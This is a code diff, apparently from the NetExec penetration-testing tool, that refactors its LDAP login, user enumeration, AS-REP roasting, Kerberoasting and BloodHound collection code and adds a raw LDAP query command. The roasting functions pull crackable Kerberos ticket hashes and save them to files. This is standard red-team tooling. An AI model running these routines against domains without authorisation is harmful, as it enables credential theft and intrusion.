self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
|
||||
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -442,21 +416,21 @@ class ldap(connection):
|
||||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}",
|
||||
color="magenta" if error in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
except Exception as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error_code!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}",
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
@@ -471,26 +445,24 @@ class ldap(connection):
|
||||
if hash_tgt:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -500,25 +472,18 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -526,18 +491,21 @@ class ldap(connection):
|
||||
except Exception as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
@@ -566,25 +534,25 @@ class ldap(connection):
|
||||
if hash_tgt:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -593,25 +561,19 @@ class ldap(connection):
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
try:
|
||||
# We need to try SSL
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -619,18 +581,21 @@ class ldap(connection):
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self):
|
||||
@@ -695,7 +660,7 @@ class ldap(connection):
|
||||
attributes = ["objectSid"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
if resp and self.password != "" and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
|
||||
for attribute in resp[0][1]:
|
||||
if str(attribute["type"]) == "objectSid":
|
||||
sid = self.sid_to_str(attribute["vals"][0])
|
||||
@@ -753,37 +718,54 @@ class ldap(connection):
|
||||
return False
|
||||
|
||||
def users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"description",
|
||||
"badPasswordTime",
|
||||
"badPwdCount",
|
||||
"pwdLastSet",
|
||||
]
|
||||
"""
|
||||
Retrieves user information from the LDAP server.
|
||||
|
||||
Args:
|
||||
----
|
||||
input_attributes (list): Optional. List of attributes to retrieve for each user.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if len(self.args.users) > 0:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
|
||||
else:
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = str(attribute["vals"][0])
|
||||
self.logger.highlight(f"{sAMAccountName:<30} {description}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
return
|
||||
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
|
||||
users = parse_result_attributes(resp)
|
||||
# we print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
|
||||
parsed_pw_last_set = ""
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set != "":
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
# we default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
@@ -832,32 +814,74 @@ class ldap(connection):
|
||||
self.logger.fail(f"Skipping item, cannot process due to error {e}")
|
||||
|
||||
def active_users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = ["sAMAccountName", "userAccountControl"]
|
||||
if len(self.args.active_users) > 0:
|
||||
arg = True
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
else:
|
||||
arg = False
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
for item in resp:
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
allusers = parse_result_attributes(resp)
|
||||
|
||||
count = 0
|
||||
activeusers = []
|
||||
argsusers = []
|
||||
|
||||
if arg:
|
||||
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
|
||||
users_args = parse_result_attributes(resp_args)
|
||||
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
|
||||
for i in range(len(self.args.active_users)):
|
||||
try:
|
||||
argsusers.append(users_args[i])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
else:
|
||||
argsusers = allusers
|
||||
|
||||
for user in allusers:
|
||||
user_account_control = user.get("userAccountControl")
|
||||
if user_account_control is not None: # Check if user_account_control is not None
|
||||
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
|
||||
account_disabled = int(account_control) & 2
|
||||
if not account_disabled:
|
||||
count += 1
|
||||
activeusers.append(user.get("sAMAccountName").lower())
|
||||
else:
|
||||
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
|
||||
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp_args:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userAccountControl = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = int(attribute["vals"][0])
|
||||
account_disabled = userAccountControl & 2
|
||||
if not account_disabled:
|
||||
self.logger.highlight(f"{sAMAccountName}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
|
||||
for arguser in argsusers:
|
||||
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
|
||||
if pwd_last_set: # Checks if pwdLastSet is empty or not.
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
|
||||
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() in activeusers):
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
|
||||
def asreproast(self):
|
||||
if self.password == "" and self.nthash == "" and self.kerberos is False:
|
||||
@@ -872,7 +896,7 @@ class ldap(connection):
|
||||
"lastLogon",
|
||||
]
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
if resp == []:
|
||||
if resp is None:
|
||||
self.logger.highlight("No entries found!")
|
||||
elif resp:
|
||||
answers = []
|
||||
@@ -916,10 +940,10 @@ class ldap(connection):
|
||||
if len(answers) > 0:
|
||||
for user in answers:
|
||||
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
|
||||
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
|
||||
self.logger.highlight(f"{hash_TGT}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_TGT + "\n")
|
||||
if hash_TGT:
|
||||
self.logger.highlight(f"{hash_TGT}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(f"{hash_TGT}\n")
|
||||
return True
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
@@ -928,7 +952,7 @@ class ldap(connection):
|
||||
|
||||
def kerberoasting(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
|
||||
attributes = [
|
||||
"servicePrincipalName",
|
||||
"sAMAccountName",
|
||||
@@ -979,7 +1003,7 @@ class ldap(connection):
|
||||
|
||||
if mustCommit is True:
|
||||
if int(userAccountControl) & UF_ACCOUNTDISABLE:
|
||||
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
|
||||
self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
|
||||
else:
|
||||
answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
|
||||
except Exception as e:
|
||||
@@ -1031,6 +1055,36 @@ class ldap(connection):
|
||||
self.logger.highlight("No entries found!")
|
||||
self.logger.fail("Error with the LDAP account used")
|
||||
|
||||
def query(self):
|
||||
"""
|
||||
Query the LDAP server with the specified filter and attributes.
|
||||
Example usage:
|
||||
--query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
|
||||
"""
|
||||
search_filter = self.args.query[0]
|
||||
attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
|
||||
if len(attributes) == 1 and attributes[0] == "":
|
||||
attributes = None
|
||||
if not search_filter:
|
||||
self.logger.fail("No filter specified")
|
||||
return
|
||||
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
||||
try:
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
except LDAPFilterSyntaxError as e:
|
||||
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
||||
return
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.success(f"Response for object: {item['objectName']}")
|
||||
for attribute in item["attributes"]:
|
||||
attr = f"{attribute['type']}:"
|
||||
vals = str(attribute["vals"]).replace("\n", "")
|
||||
if "SetOf: " in vals:
|
||||
vals = vals.replace("SetOf: ", "")
|
||||
self.logger.highlight(f"{attr:<20} {vals}")
|
||||
|
||||
def trusted_for_delegation(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
|
||||
@@ -1348,9 +1402,9 @@ class ldap(connection):
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
domain=self.domain,
|
||||
nameserver=self.args.nameserver,
|
||||
dns_tcp=False,
|
||||
dns_timeout=3,
|
||||
nameserver=self.args.dns_server,
|
||||
dns_tcp=self.args.dns_tcp,
|
||||
dns_timeout=self.args.dns_timeout,
|
||||
)
|
||||
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
|
||||
if not collect:
|
||||
@@ -1365,6 +1419,7 @@ class ldap(connection):
|
||||
auth.get_tgt()
|
||||
if self.args.use_kcache:
|
||||
self.logger.highlight("Using kerberos auth from ccache")
|
||||
auth.load_ccache()
|
||||
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
|
||||
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
|
||||
@@ -1375,15 +1430,18 @@ class ldap(connection):
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp=timestamp,
|
||||
fileNamePrefix=self.output_filename.split("/")[-1],
|
||||
computerfile=None,
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
)
|
||||
|
||||
self.output_filename += f"_{timestamp}"
|
||||
|
||||
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
|
||||
list_of_files = os.listdir(os.getcwd())
|
||||
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
|
||||
for each_file in list_of_files:
|
||||
if each_file.startswith(timestamp) and each_file.endswith("json"):
|
||||
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
|
||||
z.write(each_file)
|
||||
os.remove(each_file)
|
||||
@@ -44,17 +44,7 @@ class BloodHound:
|
||||
# Create an object resolver
|
||||
self.ad.create_objectresolver(self.pdc)
|
||||
|
||||
|
||||
def run(
|
||||
self,
|
||||
collect,
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp="",
|
||||
computerfile="",
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
):
|
||||
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
|
||||
start_time = time.time()
|
||||
if cachefile:
|
||||
self.ad.load_cachefile(cachefile)
|
||||
@@ -82,7 +72,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
elif "container" in collect:
|
||||
# Fetch domains for later, computers if needed
|
||||
self.pdc.prefetch_info(
|
||||
@@ -92,7 +82,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.do_container_collection(timestamp=timestamp)
|
||||
membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
elif do_computer_enum:
|
||||
# We need to know which computers to query regardless
|
||||
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
|
||||
@@ -102,7 +92,7 @@ class BloodHound:
|
||||
self.pdc.get_domains("acl" in collect)
|
||||
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
|
||||
trusts_enum = DomainEnumerator(self.ad, self.pdc)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
if do_computer_enum:
|
||||
# If we don't have a GC server, don't use it for deconflictation
|
||||
have_gc = len(self.ad.gcs()) > 0
|
||||
@@ -114,7 +104,7 @@ class BloodHound:
|
||||
computerfile=computerfile,
|
||||
exclude_dcs=exclude_dcs,
|
||||
)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
end_time = time.time()
